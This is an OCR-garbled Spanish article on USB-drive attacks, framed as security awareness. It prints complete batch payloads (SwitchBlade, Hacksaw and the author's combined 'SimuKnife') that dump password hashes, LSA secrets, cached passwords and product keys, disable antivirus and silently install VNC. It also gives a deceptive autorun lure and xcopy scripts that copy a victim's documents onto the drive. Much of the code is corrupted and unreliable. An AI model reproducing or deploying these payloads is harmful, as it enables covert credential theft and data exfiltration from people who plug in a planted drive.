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Introduccion:

De un tiempo a esta parte la proliferacion de los dispositivos de almacenamiento USB ha crecido
considerablemente, este crecimiento se ve tanto a nivel de la variedad existente, como en el nivel de
la funcionalidad que le da un usuario hogarefio o corporativo.

De hecho, la tecnologia de almacenamiento con interfaz USB, también ha evolucionado para darle al
usuario mayores funcionalidades, como es el caso de aquellos que tienen incorporada la tecnologia U3
(www.u3.com). Esta tecnologia permite ejecutar directamente desde el dispositivo varias aplicaciones,
como por ejemplo, clientes de correo, navegadores de Internet, herramientas de seguridad,
herramientas de ofimatica y hasta mini - servidores (Web, MySQL y demas).

Por otro lado, reproductores de Mp3, centros multimedia de bolsillo y similares, han elevado la
capacidad de almacenamiento a niveles impensados tiempo atrés.

Y es verdad, esto trae mas funcionalidad, pero a su vez potencia la ocurrencia de eventos que atenten
contra la seguridad de la informacién.

En este articulo me focalizare en los usos menos conocidos que pueden darse en la mayoria de estos
dispositivos. Claro esta, dependerda mucho de la funcion y la tecnologia que estos posean o sobre la
cual se ejecuten.

Antes de comenzar es bueno aclarar que especificamente me focalizare sobre:

9 Dispositivos de Almacenamiento USB (Sin tecnologia U3)
9 Dispositivos de Almacenamiento USB (Con Tecnologia U3)
9 Dispositivos USB con funcionalidades adicionales (IPOD)
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La Curiosidad mato al gato

Esta de mas decir que el eslabon mas débil de la cadena de seguridad de la informacién es el factor
humano. Pero parad6jicamente, si bien esto es sabido, la gran mayoria de las estrategias de seguridad
no incluyen la educacion hacia los usuarios en temas referentes a esta. Por otro lado, la creatividad
aplicada en las técnicas de ataque hace que cualquier nivel de alerta que pudiese tener un usuario, sea
insuficiente.

AiLa cur i osi da dndcha tormcida, pero gua tiere que vereom esto? Sinceramente
mucho. A modo de hacer mas amena la lectura de este articulo y con el fin de introducir al tema, les
contare una breve historia.

Hace un tiempo atras, la empresa X decidio lanzar en la organizacion una fuerte campafia de
educacidn dirigida a los usuarios finales (Security Awareness). Los usuarios de la organizacién X
asistieron a charlas de educacion y capacitacion sobre los buenos usos de la tecnologia, los riesgos que
esta esconde, realizaron varios CBT (Computer Base Training) y hasta tienen en sus escritorios una
tazaconlaleyenda Al Love I nformation Securityo

Claro estd, la organizacion X, luego de invertir tiempo y dinero en esto, decidié medir mediante una
prueba de penetracion con principal foco en la utilizacion de ingenieria social, el nivel de efectividad
que habia tenido la educacion brindada a los usuarios. Es bien sabido, que en este tipo de pruebas, el
usuario no debe conocer de antemano la realizacion la misma, esto haria que el usuario este mas atento
a un llamado, correo electrénico o visita sospechosa, por lo que los resultados obtenidos no reflejarian
la realidad del estado de situacion. Pero en este caso, alguien de la organizacion X cometid el error de
advertir a los usuarios, por lo que estos estaban deseosos de que su teléfono sonara y ante la primer

sospecha decir ADisculpe Sr. Yo soy un uswuar.i
informacidn, no pienso darle informacion alguna y ya mismo procederé a denunciar en mi
organi zaci-n este hechobo

Los Security Testers, ante este escenario desfavorable, decidieron utilizar una técnica mas creativa
para intentar obtener informacion sensible de la organizacion. Para esto decidieron invertir en la
compra de unos cuantos dispositivos de almacenamiento USB con tecnologia U3, teniendo en cuenta
ademas, que las estaciones de trabajo de los usuarios tenian instalado como sistema operativo
Windows XP SP2, que por defecto tiene la funcion de auto ejecucion habilitada.

Para que el ataque fuese efectivo, colocaron dentro de cada uno de los dispositivos USB con
tecnologia U3, cddigo que tenia como funcion primaria capturar las pulsaciones del Teclado
(Keylogger), almacenarlas en un archivo de texto y luego enviarlas por correo electronico a sus
destinatarios (Los Security Testers). Ahora lo Unico que faltaba era que el usuario colocara por su
propia voluntad este dispositivo en la ranura USB de su estacion de trabajo y del resto de la tarea se
encargaria la tecnologia. Pero claro, los usuarios de la organizacion X eran consientes de los riesgos
que esto conlleva. Aunque pensandolo bien, realmente lo eran?é .

La estrategia fue sencilla. Ingresaralaempr esa y fAol vidar o, fAextraviar
comedor, en algun pasillo, en el toilette etc., para que algun usuarioc o n  ficG ulea ¢ eegQueo nt r
piensan Ustedes que hicieron la gran mayoria de los usuarios luego de encontrar el dispositivo?é 'y s i
acertaron. Los colocaron en las estaciones de trabajo para ver su contenido y eso fue todo. Trabajo

realizado y mision cumplida.
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Esta historia tiene como fin dar una pequefia muestra de como la creatividad aplicada a los ataques
puede hacer inatil cualquier metodologia de defensa, capacitacion o educacién que sea lo
suficientemente rigida y lineal.

Para terminar la historia creo que deberiamos preguntarnos que hubiésemos hecho nosotros en la
situacion del usuario. ¢ No habria ganado la curiosidad?mmmé en f i n vamos al gr

Ataques Utilizando dispositivos de almacenamientdSB con tecnologia U3

La gran mayoria de los vendors de tecnologias de almacenamiento portable con interfaz USB, ya
tiecnen hoy di sponi bl-r iswetenelogia U3; qoe a thd® aqielR e ke interese
conocer mas sobre los usos de la misma, en la referencias de este articulo encontrara links para seguir
investigando y aplicando sus usos.

La tecnologia U3 permite la ejecucion de aplicaciones directamente desde el dispositivo de
almacenamiento USB y sin dejar rastro alguno en el equipo. Por ejemplo, imaginen el Firefox
integrado a su dispositivo USB U3, con sus adds-on, sus cookies de navegacion y sus favoritos.
Interesante no?

Esta tecnologia, a diferencia de la que posee un dispositivo de almacenamiento USB tradicional,
cuenta con dos particiones. La primera y principal sera vista por el sistema operativo como un medio
de almacenamiento extraible ( 1o normal), y la otra, una particion muy pequefia, sera vista como una
unidad de CD-ROM. Es ahi donde esta el punto, y es ahi también donde el fabricante coloca un
autorun, y su aplicacion primaria (generalmente un bonito menud que permite el acceso a las
aplicaciones almacenadas en la otra particion de una manera muy amigable 0 L a u n ¢).tkfaa d 0
particion puede ser accedida y revisada, pero claro esta, no puede escribirse en ella (bueno en realidad,
como veremos mas adelante, esto no es tan asi)., Windows XP con SP2 tiene la funcion de ejecucion
automatica habilitada por default, por lo que el solo hecho de insertar este dispositivo en la ranura
USB, y sin ningun tipo de intervencion por parte del usuario, lanzara el mena y permitiré el acceso a
las aplicaciones. A estas alturas ya se habran dado cuenta a donde voy no?.

Otros sistemas operativos u otras versiones del anteriormente mencionado no tiene generalmente
habilitada esa funcion, por lo que al igual que los dispositivos sin tecnologia U3 requieren una minima
intervencion por parte del usuario para funcionar, pero esa técnica la trataremos mas adelante.

Ahora que sabemos algo sobre la tecnologia U3 veamos cémo se puede aplicar a otros fines.
Teniendo en cuenta la temética de este articulo y en este punto en particular, me voy a basar en un
interesante proyecto abierto que lleva a cabo la comunidad relacionada con el grupo Hack5
(www.hack5.0rg) quienes, entre otros proyectos y cosas interesantes, llevaron a cabo el desarrollo de
pequefios y funcionales cédigos denominados Payloads, que permiten lo que a continuacion leeran.

Estos pequerios codigos, no son muy sofisticados, pero si son muy efectivos, al igual que lo fueron en
la breve historia que les conté.
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Primero lo Primero:

Lo primero que se debe hacer es modificar el contenido ubicado en la particion autoejecutable, es
decir, la que emula la unidad de CD-ROM que antes mencioné. Para esto deberemos reemplazar el
contenido original de la misma, el cual generalmente contiene el software que provee el fabricante.
Para esto, inicialmente se desarrollo una herramienta que solo lo permitia en los dispositivos de la
marca Sandisk y Memorex. Hoy en dia ese problema quedo en el pasado ya que la nueva version de la
herramienta, gracias al trabajo de su creador Tyrone Davis, funciona de manera indistinta en cualquier
dispositivo independientemente del fabricante. Esta herramienta no es ni mas ni menos que un gestor
amigable que nos permitird reemplazar el contenido de dicha unidad por otro archivo .iso de nuestra
preferencia. Claro esta, es muy muy recomendable realizar un back-up del contenido original antes de
realizar este proceso.

La mencionada aplicacion universal se llama Universal U3 LaunchPad Hacker y viene con una
launcher modificado que permitira ejecutar automaticamente dos pequefios cddigos (payloads) méas
que interesantes, que veremos a continuacion:

1 SwitchBlade
1 Hacksaw

Luego de modificar el contenido de la particion que emula el CD ROM, deberemos decidir cuél de las
dos payloads utilizar. Para esto, deberemos copiar en la otra particion, es decir en la que vemos como
unidad de almacenamiento extraible, cualquiera de los payloads antes mencionados. Las carpetas
tienen seteado el atributo de ocultas con la finalidad de que el usuario desprevenido no vea su
contenido o pueda sospechar del mismo.

Independientemente de esto cada uno podria crear y cargar su propia imagen ISO con las aplicaciones
y codigos que desea que se auto ejecuten.
Para esto deberian seguir los siguientes pasos explicados por su creador Tyrone Davis

Descargar la aplicacion de http://www.hak5.org/packages/files/Universal_Customizer.zip
Extraer la aplicacion y navegar hasta el directorio donde esta fue extraida

Copiar los archivos que deseemos en ese directorio

Ejecutar el archivo ISOCreate.cmd

Lanzar el Universal Customizer

ok e

En este articulo nos focalizaremos, como mencionamos anteriormente, en las aplicaciones que viene

ya pre cargadas en la herramienta antes mencionada. La técnica de ataque, materializada en estas
herramientas,s € c onoce ¢ o0 moodeStddaadapugary gl deynfornacibn§Existen

otras variantes como el fiPOD eXdnotRbdrah podeo dedyaire Vv e
el dispositivo utilizado suele ser el conocido IPOD.

Ahora que ya tenemos en la unidad autoejecutable de nuestro dispositivo el launcher modificado y

tenemos en la particién de almacenamiento extraible, alguno de los dos payloads cargados, veamos

cémo funcionan estos dos codigos, cuéles son sus caracteristicas y que dolor de cabeza podrian

traernos:
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SwitchBlade:

Fue el primero en aparecer. Sus funcionalidades son limitadas pero efectivas, utiliza herramientas bien
conocidas, como por ejemplo, el pwdump, el mailpassview y algunas otras. Vale aclarar que algunas
herramientas contenidas en el payload de switchblade, al igual que en el Hacksaw, requieren
privilegios administrativos para ejecutarse correctamente o bien pueden ser detectadas por algunos
antivirus, lo cual impedira parcial o totalmente su accionar.

Entonces, el sélo hecho de insertar este dispositivo en la ranura USB de un equipo que tenga un
sistema operativo con la funcién de auto ejecucion habilitada (Tipicamente Windows XP con Service
Pack 2) y de manera totalmente desapercibida para el usuario, en aproximadamente 30 segundos,
escribird un archivo de texto en la unidad de almacenamiento extraible del dispositivo USB U3 la
siguiente informacion:

1 Claves de registracion de los productos Microsoft instalados en el equipo (Sistema Operativo y
Suite de Ofimatica)

9 Lista de parches de seguridad que fueron aplicados en ese equipo

9 Utilizando el famoso Pwdump, extraera los hashes de las contrasefias del archivo SAM, los
cuales quedaran en un formato listo para ser interpretado por cualquiera de las herramientas de
cracking (Rainbow Crack, LL.C5 o Cain)

9 Contrasefias almacenadas en el cache del equipo (MSN, Skype, AIM)

9 Contrasefias almacenadas en el cache de los navegadores IE y Firefox

1 Historial de navegacion de los navegadores IE y Firefox

Como veran tiene su alta cuota de peligro ser victimas de Switchblade, méas aln si tenemos como
costumbre utilizar practicas no recomendadas, como recordar contrasefias, habilitar opciones de
autologin y demas.
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Para ilustrar técnicamente cuales son las acciones, aqui les copio el sencillo archivo cmd que ejecuta

SwitchBlade en una version diferente a la original:

@echo off

if not exist \ Documents md \ Documents >nul

if not exist \ Documents \ logfiles md \ Documents \ logfiles >nul

cd \wip\ cmd >nul

Echo Fkkckkkck > \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rxvkkkiiax[System nfo]* itttk > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and Time
is: %date% %time% >> \ Documents \ logfiles  \ %computername%.log 2>&1

ipconfig /all >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rrxkkkkkkk[Dmp SAM]**kkkkdk >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ pwdump 127.0.0.1 >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo *rxxxxkkxDump Product Keys]****** >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ produkey /nosavereg /stext " \ Documents \ logfiles  \ %computername%_pk.log" /remote %computername% >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_pk.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername%_pk.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg v Dump LSA secrets] Fkdkekk >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ pspv.exe /stext " \ Documents \ logfiles  \ %computername%_LSA.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_Isa.log*
\ Documents \ logfiles ~ \ %computername%.log >> nul

del /f/q" \ Documents \ logfiles " - ' \"%computername%_Isa.log" >nul
Echo >> \ Document s\ logfiles  \ %computername%.log 2>&1
echg vk Dump Network PWFrrees > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ netpass.exe /stext " \ Documents \ logfile s\ %computername%_np.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_np.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername %_np.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rxxkkkkxx[Dump messenger PW]F*kkk* > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfi les \ %computername%.log 2>&1
.\ mspass.exe /stext " \ Documents \ logfiles  \ %computername%_ms.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_ms.log*
\ Documents \ logfiles  \ %conputername%.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername%_ms.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo *rxxxrkkkDump URL History]** ¥+ >> \ Documents \ logfiles  \ %computername%.lo g 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
cscript //nologo . \ DUH.vbs >> \ Documents \ logfiles  \ %computername%.log 2>&1
TYPE \ Documents \ logfiles  \ %computername%.log | find ":::" | find /V "NO PASSWORD" | find IV
"HelpAssistant” >> \ Documents \ logfiles  \ pwfile.txt
:End

exit

La comunidad que habita en el foro de Hack5, ha desarrollado luego diferentes versiones del original
que han agregado mas funcionalidades en algunos casos, y mas sigilo y dificultad de deteccion en
otros. Pero claro esta, la evolucidn caracteristica en estos casos, es ir mas alla. Por ello es que ahora le

toca el turno al HackSaw, el otro payload que mencione anteriormente.
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Hacksaw:

Este payload tiene caracteristicas similares al anterior, es decir, conserva las funciones basicas de
Switchblade, pero agrega varias otras mas interesantes. Al igual que el anterior, para que sus acciones
sean 100% efectivas, se debe contar con privilegios administrativo, de lo contrario serd menor la
cantidad de informacion y acciones que se puedan obtener.

De las funcionalidades que agrega a las de su antecesor, las mas interesantes son:

1 Instala de manera silenciosa y residente en el equipo una aplicacién que forma parte de
payload, de manera que cada vez que alguien inserte en la ranura USB un dispositivo de
almacenamiento extraible, todo el contenido del mismo, sea enviado por correo electrdnico al
atacante, para esto crea una carpeta temporal en el sistema donde descarga los contenidos del
payload, ejecuta un archivo .bat donde el atacante configura ciertos parametros (Direccion de
Correo electronico donde recibira la informacion, en este caso debera ser una cuenta de Gmail,
luego comprime el contenido del dispositivo USB insertado con Winrar, para finalmente
utilizando un tdnel de SSL, conectarse con el smtp de gmail y enviar el correo a su destinatario.
Esta funcionalidad se escribe en el registro del sistema para iniciar siempre con el mismo.

1 Instala en el equipo, la conocida herramienta de administracién remota VNC, lo que permite al
atacante dependiendo de su posicién y de la arquitectura de red acceder remotamente al
equipo., lo instala de manera silenciosa y configura por default la contrasefia de acceso en
Ayougat hackedo

1 Ejecuta el conocido scanner de puertos Nmap y realizar un barrido ICMP (-sP) en la red Lan en
que se encuentre la estacion de trabajo, para luego reportar en un archivo de texto los
resultados y enviarlos por correo electrdnico a la direccion que el atacante configuro en el
payload.

Como ven, este payload es mas avanzado y funcional que el anterior, teniendo en el sistema un efecto
que perdura en el tiempo y permitiendo que el impacto del ataque sea atin mayor.
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Para ilustrar técnicamente cuales son las acciones, aqui les copio el codigo que ejecuta Hacksaw:

@echo off
if not exist \ Documents md \ Documents >nul
if not exist \ Documents \ logfiles md \ Documents \ logfiles >nul

cd \'wip\ cmd >nul
nircmd execmd CALL avkill.exe

Echo > \ Documents \ logfiles  \ %computername %.log 2>&1
echg *rixkkkkkik[SQygtem jnfo]riiiikkiiiis 5> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo Computer Name is: %computername% and the Logged on User Nam e Is: %username% The date and Time
is: %date% %time% >> \ Documents \ logfiles  \ %computername%.log 2>&1
ipconfig /all >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
ech g ¥xxkk [ DUmMp SAM]**rxrrikcktikk 5> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ pwdump 127.0.0.1 >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo v Dump Product Keys]***++* >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ produkey /nosavereg /stext " \ Documents \ logfiles  \ %computername%_pk.log" /remote %computername% >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_pk.log*
\ Documents \ logfiles  \ %€omputername%.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername%_pk.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg vk [Dump |E 7 Secrets]x++* >> \ Documents \ logfiles  \ %computername %.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ iepv.exe /stext " \ Documents \ logfiles  \ %computername%_LSA.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Documents \ logfiles \ %computername%. log+ \ Documents \ logfiles  \ %computername%_lIsa.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername%_Isa.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%_Updates.log 2>&1
echg *****xexn I Dump Updates - Ligg]prsss >> \ Documents \ logfiles  \ %computername%_Updates.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%_Updates.log 2>&1

.\ wul.exe /stext " \ Documents \ logfiles  \ %computername%_Update s.log"
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo *xxrkxxDump Network PWF#sxsses 5> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %compuername%.log 2>&1

.\ netpass.exe /stext " \ Documents \ logfiles  \ %computername%_np.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
copy \Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_np.log*
\ Documents \ logfiles  \ %computername %.log >> nul

del /f/q " \ Documents \ logfiles  \ %computername%_np.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rxxxkkkikx[Dmp Cache]rrrrrrrs >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo ** >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ cachedump.exe >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rrkkkxx[Dy mp Network Info]*+**** >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
netstat.exe -abn >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo Fkkkkkkk >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *xxxxkkksxDump Messenger PW]F sk > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

.\'mspass.exe /ste  xt" \Documents \ logfiles \ %computername%_ms.log" >>
\ Documents \ logfiles  \ %computername%.log 2>&1

copy \Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles \ %computername%_ms.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q" \ Documents \ logfiles  \ %computername%_ms.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *xxxxxksxDump URL History]******* >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
cscript //nologo . \ DUH.vbs >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg #rxrkkkixk[|nstall Hacksaw] e >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

nircmd.exe execmd CALL hacksaw.cmd
echo Done. >> \ Documents \ logfiles  \ %computername%.log 2>&1

EchQ **#kkkkkhnannnaxxx kool >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rxrkkkiixxl|nstall Nmap]rrsssrrsr > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

nircmd.ex e execmd CALL nmap.cmd
echo Done. >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
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echg *rxkkkkirxk[|nstgl] VN C*rrrrkkiors > \ Documents \ logfiles  \ %computername%.log 2> &1

Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
nircmd.exe execmd CALL install.cmd

echo Done. >> \ Documents \ logfiles  \ %computername%.log 2>&1

:End

exit

La gente de hack5, tiene algunos otros proyectos en desarrollo como son el antidote y el Chainsaw, los
cuales prometen mas y mas funcionalidades.

Ataques Utilizando dispositivos de almacenamientd SB sin tecnologia U3

Hasta aqui hemos hablado de ataques relacionados a los dispositivos con tecnologia U3, pero por
supuesto, los payloads arriba expuestos también pueden funcionar dentro de un dispositivo de
almacenamiento sin tecnologia U3, claro esta, cada vez que el espacio disponible en el mismo lo
permita.

La Unica gran diferencia es que el payload no entrara en funcionamiento hasta no tener una minima,
pero necesaria, intervencion por parte del usuario. Cuando insertamos un dispositivo no U3, en un
sistema con Microsoft Windows XP lo reconoce como una unidad de almacenamiento extraible y
luego, mediante un pop-up consulta al usuario, que acciones desea que ejecute en relacion a ese medio.

En este caso y con el fin de ayudar al usuario desprevenido a tomar una decisién sobre cuél de las
acciones del menu elegir, el-atacante creara y colocara en el dispositivo un sencillo autorun:

[autorun]

icon=lilguy.ico Ol 15) %, )#/ ./ 15% $%3%! -/ 3 15% -5%342% %. 2%, ! #)/ | 1 1#
open=start.bat )
action=Click "OK" to install USB flash drive drivers O0!'15) %, -%. 3! *% ! 3/#)!1$/0

shell \ open\ command=start.bat

Este aparecera como predeterminado y si el usuario, siguiendo las peores practicas, acepta la opcion

sin leer atentamente, el paylod en el dispositivo lanzara sus acciones y desplegara sus funcionalidades.

Lo mismo sucedera si hace doble click sobre el icono de acceso al medio de almacenamiento extraible.

Como ven, ambas técnicas son similares en sus efectos, pero difieren en su manera de ejecutarse.

Por ultimo, y dentro de esta categoria,estauna t ®c ni ca muy origi-nal que
S| u r pEl ohjeivio de ésta no es el de obtener contrasefias, si no que es, el de extraer de un

directorio del sistema a eleccion, todos los archivos con las extensiones que el atacante determine y

copiarlos a un IPOD, los cuales como ya sabemos, tiene una gran capacitad de almacenamiento.

A continuacion les dejo el cédigo tipico ejecutado en estos casos

@echo off

mkdir %~d0 \ %computername%

xcopy "C: \ Documents and Settings \ %username% My Documents \ *.xIs" %~d0 \ %computername% /s/c/q/r/h
xcopy "C: \ Documents and Settings \ %username% My Documents \ *.txt" %~d0  \ %computername% /s/c/q/r/h
xcopy "C: \ Documents and Settings \ %username% My Documents \ *.pdf" %~d0 \ %computername% /s/c/q/r/h
xcopy "C: \ Documents and Settings \ %username% My Documents \ *.rdp" %~d0 \ %computername% /s/c/q/r/h
xcopy "C: \ Documents and Set tings \ %username% My Documents \ *.jpg" %~d0 \ %computername% /s/c/g/r/h
@cls

@exit

El atacante podria agregar mas lineas para que este sea efectivo también en versiones del sistema

operativo de diferentes idiomas., por ejemplo:

@echo off

mkdir %~d0 \ %comptername%

xcopy "C: \ Documents and Settings \ %username% Mis documentos \ *.doc" %~d0 \ documents \ %computername%

Islclglr/n I
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xcopy "C: \ Documents and Settings \ %username?% Mis documentos \ *.xIs" %~d0 \ documents \ %computername%
i(sc/ggyr/?: \ Documents and Setting s\ %username% Mis documentos \ *.txt" %~d0 \ documents \ %computername%
is(»:/glrjq)fr/g \ Documents and Settings \ %username% Mis documentos \ *.rdp" %~d0 \ documents \ %computername%
i(sc/ggyr/?: \ Documents and Settings \ %username% Mis documentos \ *.jpg" %~d0 \ documents \ %computername%
is(»:/glrjq)fr/g \ Documents and Settings \ %username% My Documents \ *.doc" %~d0 \ documents \ %computername%
i(sc/ggyr/?: \ Documents and Settings \ %username% My Documents \ *.xIs" %~d0 \ documents \ %computername%
i(sc‘:/g/g?)fr/g \ Documents and Settings \ %username?% My Documents \ *.txt" %~d0 \ documents \ %computername%
i(sc/ggyr/?: \ Documents and Settings \ %username% My Documents \ *.rdp" %~d0 \ documents \ %computername%
is(»:/glrjq)fr/g \ Documents and Settings \ %username?% My Documents \ *.jpg" %~d0 \ documents \ %computername%
isclglrgfr/g \ Documents and Settings \ administrador  \ Mis documentos \ *.doc" %~d0 \ documents \ %computername%
iségg‘;r/g \ Documents and Settings \ administrador ~ \ Mis documentos \ *.xIs" %~d0 \ documents \ %computername%
isclglrgfr/g \ Documents and Settings \ administrador ~ \ Mis documentos \ *.txt" %~d0 \ documents \ %computername%
iségg‘;r/g \ Documents and Settings \ administrador ~ \ Mis documentos \ *.rdp" %~d0 \ documents \ %computername%
isclgg];r/g \ Documents and S ettings \ administrador  \ Mis documentos \ *.jpg" %~d0 \ documents \ %computername%
iségg‘;r/g \ Documents and Settings \ administrator \ My Documents \ *.doc" %~d0 \ documents \ %computername%
is(fg/r;];r/g \ Documents and Settings \ administrator \ My Documents \ *.x Is" %~d0 \ documents \ %computername%
iségg‘;r/g \ Documents and Settings \ administrator \ My Documents \ *.txt" %~d0 \ documents \ %computername%
is(fg/r;];r/g \ Documents and Settings \ administrator \ My Documents \ *.rdp" %~d0 \ documents \ %computername%

Islclq  Ir/h

xcopy "C:
Islclg/r/h
@cls
@exit

\ Documents and Settings

\ administrator

\ My Documents

\ *jpg" %~d0 \ documents \ %computername%

Por ultimo el atacante podria decidir combinar todas las técnicas anteriores en un solo Payload, como
este que di en llamar SimuKnife:

@echo off

if not exist \ Documents md \ Documents >nul

if not exist \ Documents \ logfiles md \ Documents \ logfiles >nul

cd \wip\ cmd >nul

Echo > \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rrrrkkx[System infol* Fkkkokkok >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and Time
is: %d ate% %time% >> \ Documents \ logfiles  \ %computername%.log 2>&1
ipconfig /all >> \ Documents \ logfiles  \ %computername%.log 2>&1

Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

echg *rrxkkkkkkk[Dmp SAM]**kkkkkiik >> \ Documents \ logfiles  \ %computername%.log 2>&1

Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ pwdump 127.0.0.1 >> \ Documents \ logfiles  \ %computername%.log 2>&1

Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echg *rrxxxkk [ Dump Product Keys]****** >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

.\ produkey /nosavereg /stext " \ Document s\ logfiles
\ Documents \ logfiles  \ %computername%.log 2>&1

copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles
\ Documents \ logfiles  \ %computername%.log >> nul

\ %computername%_pk.log*

del /f/q" \ Documents \ logfiles  \ %computername%_pk.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo *xxxkkxDump LSA secrets]r *++ >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo Fkkkkkokkkk >> \ Documents \ logfiles  \ %computername%.log 2>&1

.\ pspv.exe /stext " \ Documents \ logfiles  \ %computername%_LSA.log" >>
\ Documents \ logfiles  \ %computername%.log 2>&1

copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q" \ Documents \ logfiles  \ %computername%_lIsa.log" >nul
Echo >> \ Documents \ logfiles

\ %computername%_Isa .log*

\ %computername%.log 2>&1

\ %computername%_pk.log" /remote %computername% >>
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echo *xvxxkxDump Network PWF ek > \ Docunents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ netpass.exe /stext " \ Documents \ logfiles  \ %computername%_np.log" >>
\ Documents \ logfiles  \ %computername%.log 2>&1
copy \ Docunents \logfiles \ %computername%.log+ \ Documents \ logfiles \ %computername%_np.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q" \ Documents \ logfiles  \ %computername%_np.log" >nul
Echo >> \ Documents \ logfiles  \ %compuername%.log 2>&1
echo *xrrkxDump messenger PW]*xrrrie > \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
.\ mspass.exe /stext " \ Documents \ logfiles  \ %computername%_ms.log" >>

\ Documents \ logfiles  \ %computername%.log 2>&1
